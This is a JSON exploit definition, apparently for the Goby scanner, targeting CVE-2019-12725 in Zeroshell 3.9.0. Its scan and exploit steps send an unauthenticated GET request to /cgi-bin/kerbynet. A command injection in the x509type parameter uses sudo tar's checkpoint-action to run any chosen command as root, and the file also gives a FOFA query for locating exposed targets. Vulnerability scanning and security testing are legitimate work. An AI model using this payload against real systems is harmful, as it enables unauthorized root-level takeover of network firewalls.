{
  "Name": "Zeroshell RCE (CVE-2019-12725)",
  "Description": "Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.",
  "Product": "Zeroshell",
  "Homepage": "https://zeroshell.org/",
  "DisclosureDate": "2019-07-19",
  "Author": "itardc@163.com",
  "FofaQuery": "app=\"Zeroshell-Firewall\"",
  "GobyQuery": "app=\"Zeroshell-Firewall\"",
  "Level": "3",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "http://packetstormsecurity.com/files/160211/ZeroShell-3.9.0-Remote-Command-Execution.html",
    "https://www.tarlogic.com/advisories/zeroshell-rce-root.txt",
    "https://zeroshell.org/blog/",
    "https://nvd.nist.gov/vuln/detail/CVE-2019-12725",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12725"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "whoami",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A%2fetc%2fsudo+tar+-cf+%2fdev%2fnull+%2fdev%2fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3did%0A'"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "root",
            "variable": "$body"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "uid=",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A%2fetc%2fsudo+tar+-cf+%2fdev%2fnull+%2fdev%2fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d{{{cmd}}}%0A'"
      },
      "SetVariable": [
        "output|lastbody|regex|(?s)(.*?)<html>",
        "output|output|removeline|-1",
        "output|output|removeline|-1"
      ]
    }
  ],
  "Tags": ["rce"],
  "CVEIDs": [
    "CVE-2019-12725"
  ],
  "CVSSScore": "9.8",
  "AttackSurfaces": {
    "Application": ["Zeroshell-Firewall"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}